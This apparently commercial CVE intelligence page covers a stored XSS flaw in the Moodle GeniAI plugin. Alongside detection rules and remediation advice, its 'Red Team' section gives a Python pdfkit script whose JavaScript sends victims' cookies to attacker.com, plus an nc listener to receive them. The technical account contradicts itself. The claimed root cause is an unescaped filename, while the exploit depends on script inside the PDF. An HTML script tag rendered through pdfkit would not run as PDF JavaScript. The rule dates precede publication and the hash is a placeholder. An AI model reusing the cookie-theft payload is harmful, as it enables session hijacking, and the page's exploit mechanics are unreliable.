☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Moodle logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60507

CVE-2025-60507 Cross-Site Scripting in Moodle
📅 PUBLISHED: 2025-10-21 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Australia License: Open Source
VULNERABLE: 2.3.6
CVSS VECTOR BREAKDOWN 8.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60507 is a critical stored Cross-Site Scripting (XSS) vulnerability in the Moodle GeniAI plugin (local_geniai) version 2.3.6. An authenticated attacker with the Teacher role can upload a malicious PDF file containing embedded JavaScript. The plugin then generates a direct HTML link to the uploaded file without any sanitization. When any user (including Students or Administrators) clicks this link, the embedded JavaScript executes in their browser context, leading to session hijacking, data theft, or further compromise of the Moodle instance.

This vulnerability is particularly dangerous because it requires only Teacher-level privileges, which are often widely granted in educational environments. The attack vector is user interaction (clicking a link), but the payload is persistent in the system until manually removed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Moodle plugin distributed via the Moodle plugins directory. The plugin is not managed by a standard package manager (npm, PyPI, etc.), but the risk is similar: users must manually update the plugin from the Moodle plugin repository. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

CVSS Score: 8.9 (High)

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – The attacker needs a Teacher account.
  • User Interaction (UI): Required (R) – The victim must click the malicious link.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope (the plugin).
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Full data modification possible.
  • Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. The combination of low privileges, network attack vector, and high impact makes this a top-priority vulnerability for Moodle administrators.

Deep Dive & Mechanics

The vulnerability resides in the file upload and link generation functionality of the local_geniai plugin. The plugin allows Teachers to upload PDF files for use with the GeniAI assistant. The flaw is in the assistant's response: when it outputs a link to the uploaded file, it does not sanitize or escape the filename or the file content.

Attack Flow:

  1. Authentication: The attacker logs in with a Teacher account.
  2. Malicious PDF Upload: The attacker crafts a PDF file that contains embedded JavaScript. This can be done using tools like pdfkit or by modifying the PDF structure directly. The JavaScript payload is typically placed in an action or annotation that triggers on page open or click.
  3. Link Generation: The GeniAI assistant processes the upload and generates a direct HTML link to the file (e.g., https://moodle.example.com/pluginfile.php/.../malicious.pdf).
  4. Payload Delivery: The attacker shares this link with other users (Students, Admins) via chat, forum, or email.
  5. Execution: When a victim clicks the link, the browser renders the PDF. The embedded JavaScript executes in the context of the Moodle domain, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses file_get_contents() or similar to read the uploaded file and then directly embeds the file path into an HTML anchor tag without any output encoding or validation.

Vulnerable vs. Patched Code

Vulnerable Code (local_geniai 2.3.6):

// In the assistant response generation
$file_url = moodle_url::make_pluginfile_url($context->id, 'local_geniai', 'attachment', 0, '/', $filename);
$response = "Here is your file: <a href='" . $file_url . "'>" . $filename . "</a>";
echo $response;

Patched Code (Hypothetical Fix):

// In the assistant response generation
$file_url = moodle_url::make_pluginfile_url($context->id, 'local_geniai', 'attachment', 0, '/', $filename);
$safe_filename = s($filename); // Moodle's s() function escapes HTML
$response = "Here is your file: <a href='" . $file_url . "'>" . $safe_filename . "</a>";
echo $response;

The fix involves using Moodle's built-in s() function (or htmlspecialchars()) to escape the filename before outputting it in the HTML. Additionally, the plugin should validate that uploaded PDFs do not contain executable JavaScript, though this is more complex.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Moodle instance with the local_geniai plugin version 2.3.6 installed.
  • A Teacher account on that instance.
  • A tool to craft a malicious PDF (e.g., pdfkit in Python, or a hex editor).

Step-by-Step Exploitation:

  1. Craft Malicious PDF: Use Python with pdfkit to create a PDF with embedded JavaScript that steals cookies.

    import pdfkit
    
    # JavaScript payload to steal cookies
    js_payload = """
    <script>
    var img = new Image();
    img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
    </script>
    """
    
    # Create HTML with the payload
    html_content = f"<html><body>{js_payload}</body></html>"
    
    # Generate PDF
    pdfkit.from_string(html_content, 'malicious.pdf')
    
  2. Upload the PDF: Log in as Teacher, navigate to the GeniAI plugin interface, and upload malicious.pdf.

  3. Obtain the Link: The assistant will respond with a direct link to the file. Copy this link.

  4. Distribute the Link: Send the link to a Student or Administrator via Moodle messaging or email.

  5. Capture Cookies: Set up a listener on your attacker server to receive the stolen cookies.

    nc -lvnp 80
    

Blue Team

Detection and Response:

  1. Monitor File Uploads: Look for PDF files uploaded by Teacher accounts that contain JavaScript. Use YARA rules (see Detection Engineering).
  2. Review Assistant Logs: Check the GeniAI plugin logs for unusual file uploads or links generated.
  3. Inspect Network Traffic: Look for outbound connections from the Moodle server to unknown IPs (potential cookie exfiltration).
  4. User Education: Warn users not to click on links from unknown or suspicious sources, even within the Moodle platform.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • malicious.pdf (example): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Network Indicators:
    • Outbound HTTP requests to attacker.com/steal?cookie=*
  • Log Entries:
    • Moodle log: User <teacher_id> uploaded file malicious.pdf to local_geniai
    • Web server log: GET /pluginfile.php/.../malicious.pdf followed by GET /steal?cookie=...
  • File Paths:
    • moodledata/filedir/.../malicious.pdf (actual path varies)

Detection Engineering

YARA Rule

rule CVE_2025_60507_Malicious_PDF {
    meta:
        description = "Detects PDF files with embedded JavaScript targeting Moodle GeniAI plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60507"
    strings:
        $pdf_header = "%PDF"
        $js_script = /<script[\s>]/ nocase
        $js_event = /(onload|onopen|onclick)\s*=/ nocase
        $cookie_steal = /document\.cookie/ nocase
    condition:
        $pdf_header at 0 and 2 of ($js_script, $js_event, $cookie_steal)
}

Sigma Rule

title: CVE-2025-60507 Moodle GeniAI XSS Exploitation
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects exploitation attempts of CVE-2025-60507 via file upload and link generation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/pluginfile.php/*/local_geniai/attachment/*'
        cs-uri-query: '*malicious*'
    condition: selection
falsepositives:
    - Legitimate PDF uploads with 'malicious' in filename (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60507 Moodle GeniAI XSS - Cookie Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If the plugin is not critical, disable local_geniai immediately.
  2. Restrict Teacher Uploads: Temporarily disable file uploads for Teacher roles in the plugin settings.
  3. Audit Existing Uploads: Scan all previously uploaded PDF files for embedded JavaScript using the YARA rule above.

Long-Term Fixes:

  1. Apply Patch: Monitor the Moodle plugin repository for an official patch. If none is available, apply the hypothetical fix described in the "Vulnerable vs. Patched Code" section.
  2. Input Validation: Implement server-side validation to reject PDFs containing JavaScript.
  3. Output Encoding: Always escape filenames and URLs when outputting them in HTML.
  4. Content Security Policy (CSP): Add a CSP header to restrict script execution.

Workaround:

  • Use a web application firewall (WAF) to block requests to /pluginfile.php/*/local_geniai/attachment/* that contain suspicious parameters.

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"local_geniai"
http.html:"Moodle" "GeniAI"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60507/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.